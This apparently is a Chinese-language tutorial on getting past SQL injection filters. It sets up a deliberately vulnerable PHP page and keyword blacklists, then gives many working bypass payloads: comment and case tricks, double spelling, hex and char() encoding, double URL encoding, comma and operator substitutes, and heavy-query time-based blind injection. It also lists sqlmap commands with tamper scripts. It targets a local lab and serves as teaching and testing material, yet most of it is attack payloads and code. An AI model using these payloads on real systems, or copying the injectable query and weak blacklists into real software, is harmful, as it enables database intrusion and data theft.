在实际的项目开发中,程序员一般都会使用函数过滤一些字符,以防止SQL注入比如魔术引号magic_quotes_gpc()之前的文章有提过,再比如preg_replace()函数过滤了一些字符。
preg_replace('A','B','C') # 执行一个正则表达式的搜索和替换
搜索C中符合A的部分,然后用B来代替。
mixed preg_replace ( mixed $pattern ,
mixed $replacement ,
mixed $subject [, int $limit = -1 [, int &$count ]] )
//搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。
简单的写个过滤黑名单:
function blacklist($id)
{
$id = preg_replace('/or/i',"",$id); //过滤 or 不分大小写
$id = preg_replace('/and/i',"",$id); //过滤 and 不分大小写
$id = preg_replace('/[\/\*]/',"",$id); //过滤 /*
$id = preg_replace('/[--]/',"",$id); //过滤 --
$id = preg_replace('/[*]/',"",$id); //过滤 # %23
$id = preg_replace('/[\s]/',"",$id); //过滤 空格 %20
$id = preg_replace('/[\/\\\\]/',"",$id); //过滤 斜杠 \ 反斜杠 /
return $id;
}
过滤了就注入了吗?不好意思,不存在的!道高一尺魔高一丈,虽然过滤了某些字符,但是已然可以绕过,达到SQL注入的目的。
注意:在使用注释符#的时候,在URL输入栏中应该输入#的URL表达式 %23 ,而不是直接输入#
在如下存在SQL注入的代码,没有任何的安全防御措施。blacklist中的是过滤的手段,目前没有任何过滤。在接下来的测试过滤绕过中,我会改变blacklist函数中的过滤语句。
$con = mysql_connect("localhost","root","root"); #数据库连接
$select_db = mysql_select_db('security');
die("不能连接数据库!:\n" . mysql_error());
echo "------------------------------------------";echo "<br>";
echo "------------------------------------------";echo "<br>";
echo "------------------------------------------";echo "<br>";
echo "------------------------------------------";echo "<br>";
$sql = "select * from users where id=$id";
echo "------------------------------------------";echo "<br>";
echo "------------------------------------------";echo "<br>";
$res = mysql_query($sql);
die("could get the res:\n" . mysql_error());
while ($row = mysql_fetch_assoc($res)) {
mysql_close($con); //关闭数据库
$id = preg_replace('/[\s]/',"",$id);
如果只过滤了空格,没有过滤/,那么我们可以通过/*/来绕过空格过滤 http://127.0.0.1/index.php?id=1//order//order//by//1
如果直接使用sqlmap会提示:
这时候我们可以使用注释绕过,在sqlmap中,对于mysql数据库注释绕过空格的脚本:
sapce2comment.py
sqlmap命令:
python sqlmap.py -u http://127.0.0.1/index.php?id=1 --batch
--dbs --tamper=space2comment.py
--batch是让sqlmap自动选择执行过程中出现的询问请求
sqlmap的绕过脚本在目录/sqlmap/tamper下
当Mysql数据库版本大于等于5.55时,可以使用内联注释(/!**/)
/*! select * from xxx where id=1 */
/*!union*/ /*!select*/@@version,2,3;
sqlmap中关于内联注释的脚本:
versionedmorekeywords.py
halfverisonedmorekeywords.py
function blacklist($id)
{
$id = preg_replace('/[\s]/',"",$id); //过滤 空格 %20
$id = preg_replace('/or/',"",$id); //过滤 or
$id = preg_replace('/and/',"",$id); //过滤 and
$id = preg_replace('/union/',"",$id); //过滤 union
$id = preg_replace('/by/',"",$id); //过滤 by
$id = preg_replace('/select/',"",$id); //过滤 select
$id = preg_replace('/from/',"",$id); //过滤 from
$id = preg_replace('/floor/',"",$id); //过滤 floor
$id = preg_replace('/concat/',"",$id); //过滤 concat
$id = preg_replace('/count/',"",$id); //过滤 count
$id = preg_replace('/rand/',"",$id); //过滤 rand
$id = preg_replace('/group by/',"",$id); //过滤 group by
$id = preg_replace('/substr/',"",$id); //过滤 substr
$id = preg_replace('/ascii/',"",$id); //过滤 ascii
$id = preg_replace('/mid/',"",$id); //过滤 mid
$id = preg_replace('/like/',"",$id); //过滤 like
$id = preg_replace('/sleep/',"",$id); //过滤 sleep
$id = preg_replace('/when/',"",$id); //过滤 when
$id = preg_replace('/order/',"",$id); //过滤 order
return $id;
}
由于先匹配到了or,所以把order中的or去除了,并且把by也去除了。
但是由于过滤没有对大写做识别,所以我们这里把关键词用大写:
1 Order By 1
这个在sqlmap中也是可以直接跑出来的,因为sqlmap的payload中的SQL关键字默认是大写的,而这里只过滤了小写,而且sqlmap也有专门的随机大小写的绕过脚本:randomcase.py
对于过滤SQL关检词绕过的思路 1.尝试双拼写绕过 2.看是否有关检词漏掉过滤了 3.使用等价函数替换
function blacklist($id)
{
$id = preg_replace('/[\s]/',"",$id); //过滤 空格 %20
$id = preg_replace('/or/i',"",$id); //过滤 or
$id = preg_replace('/and/i',"",$id); //过滤 and
$id = preg_replace('/union/i',"",$id); //过滤 union
$id = preg_replace('/by/i',"",$id); //过滤 by
$id = preg_replace('/select/i',"",$id); //过滤 select
$id = preg_replace('/from/i',"",$id); //过滤 from
$id = preg_replace('/floor/i',"",$id); //过滤 floor
$id = preg_replace('/count/i',"",$id); //过滤 count
$id = preg_replace('/rand/i',"",$id); //过滤 rand
$id = preg_replace('/group by/i',"",$id); //过滤 group by
$id = preg_replace('/substr/i',"",$id); //过滤 substr
$id = preg_replace('/ascii/i',"",$id); //过滤 ascii
$id = preg_replace('/mid/i',"",$id); //过滤 mid
$id = preg_replace('/like/i',"",$id); //过滤 like
$id = preg_replace('/sleep/i',"",$id); //过滤 sleep
$id = preg_replace('/when/i',"",$id); //过滤 when
$id = preg_replace('/order/i',"",$id); //过滤 order
return $id;
}
对于不区分大小写的过滤SQL关检词,无论大小写混合都会被过滤了。
?id=1 ununionion selselectect 1,2,3
sqlmap中双拼写绕过的脚本:nonrecursivereplacement.py,该脚本对于任何数据库都可以使用。
这种对于不区分大小写过滤了的关键词,我们首先需要判断过滤了哪些关键词,漏掉了哪些关键词,这个可以使用SQL关键词来进行爆破,看看哪些关键词没有被过滤,然后看看这些关键词可以利用哪些注入方式。
然后使用Burp简单爆破下,这里看length不太有用,可能需要一个个看Response,看看哪个漏掉了。
如果是那种只要请求包中有过滤关键词,则会返回特殊响应的网站,这样查看响应代码就可以一目了然的知道哪些关键词没有被过滤。
通过关键的爆破,若发现一些没有被过滤,则可以利用,比如:
ExtractValue报错注入
and
extractvalue
concat
Updatexml报错注入
and
updatexml
concat
and可以用&&来替换,在URL编码中换成%26%26即可。
例如:substr,substring,mid都过滤了的话,可以考虑用left();过滤了sleep()可以用benchmark()替换,过滤了group_concat可以使用concat_ws()
使用 16 进制绕过引号。一般会使用到引号的地方是在最后的 where 子句中,比如
select * from test where username='admin';
select * from test where username="admin";
当引号被过滤了的话, 'admin' 或者 "admin" 就没法用了,我们可以用 admin 的16进制 0x61646d696e 代替。
select*from users where username=0x61646d696e;
这里注意一下,中文无法进行使用16进制编码
admin的各个字符的ASCII的值为: 97 100 109 105 110 所以我们使用concat(char(97),char(100),char(109),char(105),char(110))代替admin。 ?username=concat(char(97),char(100),char(109),char(105),char(110))
**前提条件:后端在处理接收到的参数进行了URL解码,并且对该URL解码是在过滤函数之后才可以。
$username=$GET['username'];
$username=blacklist($username); # 过滤函数
$username=urldecode($username); # URL解码
当我们使用"admin"的时候,过滤函数把admin给过滤了掉了
于是我们使用 " 的URL编码的URL编码,也就是 %2522
在sqlmap中,对payload进行URL编码的脚本是: charencode.py chardoubleencode.py # 两次URL编码
在使用盲注的时候,会使用到substr(),substring(),mid(),limit()等函数,这些函数都需要用到逗号,如果只是过滤了逗号,则对于substr(),substring(),mid()可以使用from for的方式来绕过。对于limit()可以用offset()来绕过。
// substr() 逗号绕过
select * from test where id=1 and (select ascii(substr(username,2,1))
from admin limit 1)>97;
select * from test where id=1 and (select ascii(substr(username from 2
for 1))from admin limit 1)>97;
// substring() 逗号绕过
select * from test where id=1 and (select ascii(substring(username,2,1))
from admin limit 1)>97;
select * from test where id=1 and (select ascii(substring(username from
2 for 1))from admin limit 1)>97;
// mid() 逗号绕过
select * from test where id=1 and (select ascii(mid(username,2,1))
from admin limit 1)>97;
select * from test where id=1 and (select ascii(mid(username from
2 for 1))from admin limit 1)>97;
// limit 逗号绕过
select * from test where id=1 limit 1,2;
select * from test where id=1 limit 2 offset 1;
在使用盲注的时候,会用到二分法来比较操作符来进行操作,如果过滤了比较操作符,那么就需要使用到greatest()和lease()来进行绕过。greatest()返回最大值,leaset()返回最小值。
greatest(n1,n2,n3,....) # 返回输入参数的最大值
least(n1,n2,n3,....) # 返回输入参数的最小值
select * from users where id=1 and ascii(substring(database(),0,1))>64;
select * from users where id=1 and
greatest(ascii(substring(database(),0,1)),64)>64;
select * from users where id=1 and ascii(substring(database(),0,1))<64;
select * from users where id=1 and
least(ascii(substring(database(),0,1)),64)<64;
在Sqlmap中,用greatest代替大于号的脚本是:greatest.py ,该脚本只针对于MySQL。
&& 代替 and
or 代替 ||
| 代替 xor
! 代替 not
举例:
select * from users where id=1 and 1=2;
select * from users where id=1 && 1=2;
select * from users where id=1 or 1=2;
select * from users where id=1 || 1=2;
如果过滤了#,则可以用'||'来绕过,但是这个只限于闭合后面是单引号的情况!
如果是数字型注入,则不奏效!
使用like,rlike,regexp
like:可以当做等于来理解 rlike:就是里面含有这个 regexp:和rlike一样,里面含有即可
如果判断是否等于,可以转换为大于小于,于是可以用> <来绕过
在Sqlmap中,用like代替=号的脚本是:equaltolike.py ,该脚本只针对于MySQL。
过滤目标网站过滤了延时函数如sleep(),那么我们就必须得想其他办法使其达到延时的效果。这里我们绕过的手段是让SQL语句执行大负荷查询(笛卡尔算积),由于大负荷查询需要计算大量的数据,所以执行语句就会有延时的效果。
在MySQL数据库中,都会有一个默认的information_schema数据库。这个数据库中的tables表是整个MySQL数据库表名的汇总。columns表是整个MySQL数据库列的汇总。所以我们就可以利用information_schema.tables和information_schema.columns来进行笛卡尔算积,造成大负荷查询,以至于达到延时的效果。
我们的Payload如下,其中columns和tables这个字段可以互换,我们也可以在B后面继续加C、D等等
select * from users where id=1 and (SELECT count(*) FROM
information_schema.columns A, information_schema.columns B);
配合查询语句一起,如果要查询的结果为真,则会造成延时并显示数据。如果要查询的结果为假,则不会产生延时并且不会显示数据。
select * from users where id=1 and (ascii(substr(database(),1,1))
>100) and (SELECT count(*) FROM information_schema.columns A,
information_schema.columns B);